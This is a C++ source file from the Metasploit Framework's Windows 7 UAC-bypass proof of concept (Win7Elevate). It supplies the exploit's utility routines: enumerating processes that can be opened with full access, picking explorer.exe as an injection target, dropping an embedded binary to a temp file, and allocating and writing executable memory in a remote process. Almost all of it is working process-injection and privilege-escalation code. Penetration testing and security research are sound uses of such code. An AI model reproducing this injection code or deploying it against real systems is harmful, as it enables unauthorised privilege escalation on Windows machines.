metasploit-framework/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Utils.cpp

348 lines
10 KiB
C++

#include "stdafx.h"
#include "Win7Elevate_Utils.h"
#include ".\..\CMMN.h"
// All code (except for GetElevationType) (C) Leo Davidson, 8th February 2009, all rights reserved.
// (Minor tidy-up 12th June 2009 for the code's public release.)
// http://www.pretentiousname.com
// leo@ox.compsoc.net
//
// Using any part of this code for malicious purposes is expressly forbidden.
//
// This proof-of-concept code is intended only to demonstrate that code-injection
// poses a real problem with the default UAC settings in Windows 7 (tested with RC1 build 7100).
//
// Win7Elevate_Inject.cpp is the most interesting file. Most of the rest is just boilerplate UI/util code.
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
bool W7EUtils::GetProcessList(HWND hWnd, std::map< DWORD, std::wstring > &mapProcs)
{
// Note: We probably need to target a process which has the same ASLR setting as us, i.e. ON.
// Explorer.exe is our default since it has ASLR on, is always running and can do the COM silent-elevation stuff by default.
bool bResult = false;
mapProcs.clear();
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
{
//MessageBox(hWnd, L"CreateToolhelp32Snapshot failed", L"Win7Elevate", MB_OK | MB_ICONWARNING);
CLogger::LogLine(L"CreateToolhelp32Snapshot failed");
}
else
{
bool bFirst = true;
PROCESSENTRY32 pe;
while(true)
{
ZeroMemory(&pe, sizeof(pe));
pe.dwSize = sizeof(pe);
BOOL bPR = FALSE;
if (bFirst)
{
bFirst = false;
bPR = Process32First(hSnapshot, &pe);
}
else
{
bPR = Process32Next(hSnapshot, &pe);
}
if (!bPR)
{
DWORD dwErr = GetLastError();
if (ERROR_NO_MORE_FILES != dwErr)
{
//MessageBox(hWnd, L"Process32Next/First failed", L"Win7Elevate", MB_OK | MB_ICONWARNING);
CLogger::LogLine(L"Process32Next/First failed");
}
else if (mapProcs.empty())
{
//MessageBox(hWnd, L"Process32Next/First returned nothing", L"Win7Elevate", MB_OK | MB_ICONWARNING);
CLogger::LogLine(L"Process32Next/First returned nothing");
}
else
{
bResult = true;
}
break; // Stop enumerating.
}
// Only insert processes that we can open
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID);
if (hProc != 0)
{
CloseHandle(hProc);
mapProcs.insert( std::make_pair( pe.th32ProcessID, pe.szExeFile ) );
}
}
CloseHandle(hSnapshot);
}
return bResult;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
bool W7EUtils::OpenProcessToInject(HWND hWnd, HANDLE *pOutProcHandle, DWORD dwPid, const wchar_t *szProcName)
{
*pOutProcHandle = 0;
if (szProcName == NULL)
{
//MessageBox(hWnd, L"No process name passed in", L"Win7Elevate", MB_OK | MB_ICONWARNING);
CLogger::LogLine(L"No process name passed in");
return false;
}
*pOutProcHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (*pOutProcHandle == 0)
{
DWORD dwError = GetLastError();
wchar_t szPID[128];
_itow_s(dwPid, szPID, _countof(szPID), 10);
wchar_t szError[128];
_itow_s(dwError, szError, _countof(szError), 10);
std::wstring strMsg = L"Couldn't open process ";
strMsg += szProcName;
strMsg += L" (pid: ";
strMsg += szPID;
strMsg += L") ";
if (dwError == ERROR_ACCESS_DENIED)
{
strMsg += L"ERROR_ACCESS_DENIED\n(We probably tried to inject into an elevated process\nwhich isn't allowed unless we're also elevated.\nPick an unelevated process.)";
}
else
{
strMsg += L"error ";
strMsg += szError;
}
//MessageBox(hWnd, strMsg.c_str(), L"Win7Elevate", MB_OK | MB_ICONWARNING);
CLogger::LogLine(strMsg);
return false;
}
return true;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
W7EUtils::CTempResource::CTempResource(HINSTANCE hInstance, int iResourceId)
: m_hInstance(hInstance)
, m_iResourceId(iResourceId)
{
}
// virtual
W7EUtils::CTempResource::~CTempResource()
{
if (!m_strFilePath.empty())
{
DeleteFile(m_strFilePath.c_str());
m_strFilePath.clear();
}
m_iResourceId = 0;
}
bool W7EUtils::CTempResource::GetFilePath(std::wstring &strPath)
{
if (m_strFilePath.empty())
{
wchar_t szTempPath[MAX_PATH];
DWORD dwTemp = GetTempPath(_countof(szTempPath), szTempPath);
if (dwTemp != 0 && dwTemp < _countof(szTempPath))
{
HRSRC hResource = FindResource(m_hInstance, MAKEINTRESOURCE(m_iResourceId), L"BINARY");
if (hResource)
{
HGLOBAL hLoadedResource = LoadResource(m_hInstance, hResource);
if (hLoadedResource)
{
LPVOID pLockedResource = LockResource(hLoadedResource);
if (pLockedResource)
{
DWORD dwResourceSize = SizeofResource(m_hInstance, hResource);
if (0 != dwResourceSize)
{
wchar_t szTempFilePath[MAX_PATH];
if (0 != GetTempFileName(szTempPath, L"w7e", 0, szTempFilePath))
{
HANDLE hFile = CreateFile(szTempFilePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (INVALID_HANDLE_VALUE != hFile)
{
DWORD dwBytesWritten = 0;
if (WriteFile(hFile, pLockedResource, dwResourceSize, &dwBytesWritten, NULL)
&& dwBytesWritten == dwResourceSize)
{
m_strFilePath = szTempFilePath;
}
CloseHandle(hFile);
if (m_strFilePath.empty())
{
DeleteFile(szTempFilePath);
}
}
}
}
}
}
}
}
}
if (!m_strFilePath.empty())
{
strPath = m_strFilePath;
return true;
}
strPath.clear();
return false;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
W7EUtils::CRemoteMemory::CRemoteMemory(HANDLE hRemoteProcess)
: m_hRemoteProcess(hRemoteProcess)
, m_bAnyFailures(false)
{
}
// virtual
W7EUtils::CRemoteMemory::~CRemoteMemory()
{
while(!m_listRemoteAllocations.empty())
{
VirtualFreeEx(m_hRemoteProcess, m_listRemoteAllocations.back(), 0, MEM_RELEASE);
m_listRemoteAllocations.pop_back();
}
}
void W7EUtils::CRemoteMemory::LeakMemory()
{
m_listRemoteAllocations.clear();
}
bool W7EUtils::CRemoteMemory::AnyFailures() const
{
return m_bAnyFailures;
}
void *W7EUtils::CRemoteMemory::AllocAndCopyMemory(const void *pLocalBuffer, SIZE_T bufferSize, bool bExecutable, bool bConst)
{
void *pRemoteAllocation = VirtualAllocEx(m_hRemoteProcess, 0, bufferSize, MEM_COMMIT | PAGE_READWRITE, bExecutable ? PAGE_EXECUTE_READWRITE : PAGE_READWRITE);
if (pRemoteAllocation)
{
DWORD dwOldProtect = 0;
if (!WriteProcessMemory(m_hRemoteProcess, pRemoteAllocation, pLocalBuffer, bufferSize, NULL)
|| (!bExecutable && !bConst && !VirtualProtectEx(m_hRemoteProcess, pRemoteAllocation, bufferSize, bExecutable ? PAGE_EXECUTE_READ : PAGE_READONLY, &dwOldProtect)))
{
VirtualFreeEx(m_hRemoteProcess, pRemoteAllocation, 0, MEM_RELEASE);
pRemoteAllocation = 0;
}
else
{
m_listRemoteAllocations.push_back(pRemoteAllocation);
}
}
if (pRemoteAllocation == 0)
{
m_bAnyFailures = true;
}
return pRemoteAllocation;
}
wchar_t *W7EUtils::CRemoteMemory::AllocAndCopyMemory(const wchar_t *szLocalString, bool bConst)
{
return reinterpret_cast< wchar_t * >(
this->AllocAndCopyMemory(
reinterpret_cast< const void * >( szLocalString ),
(wcslen(szLocalString)+1) * sizeof(szLocalString[0]),
false, bConst ) );
}
char *W7EUtils::CRemoteMemory::AllocAndCopyMemory(const char *szLocalString, bool bConst)
{
return reinterpret_cast< char * >(
this->AllocAndCopyMemory(
reinterpret_cast< const void * >( szLocalString ),
(strlen(szLocalString)+1) * sizeof(szLocalString[0]),
false, bConst ) );
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// GetElevationType slightly modified from original by Andrei Belogortseff
// From http://stackoverflow.com/questions/95912/how-can-i-detect-if-my-process-is-running-uac-elevated-or-not
bool W7EUtils::GetElevationType(TOKEN_ELEVATION_TYPE * ptet)
{
bool bResult = false;
HANDLE hToken = NULL;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
{
DWORD dwReturnLength = 0;
if (GetTokenInformation(hToken, TokenElevationType, ptet, sizeof(*ptet), &dwReturnLength ))
{
assert(dwReturnLength == sizeof(*ptet));
bResult = true;
}
CloseHandle(hToken);
}
return bResult;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////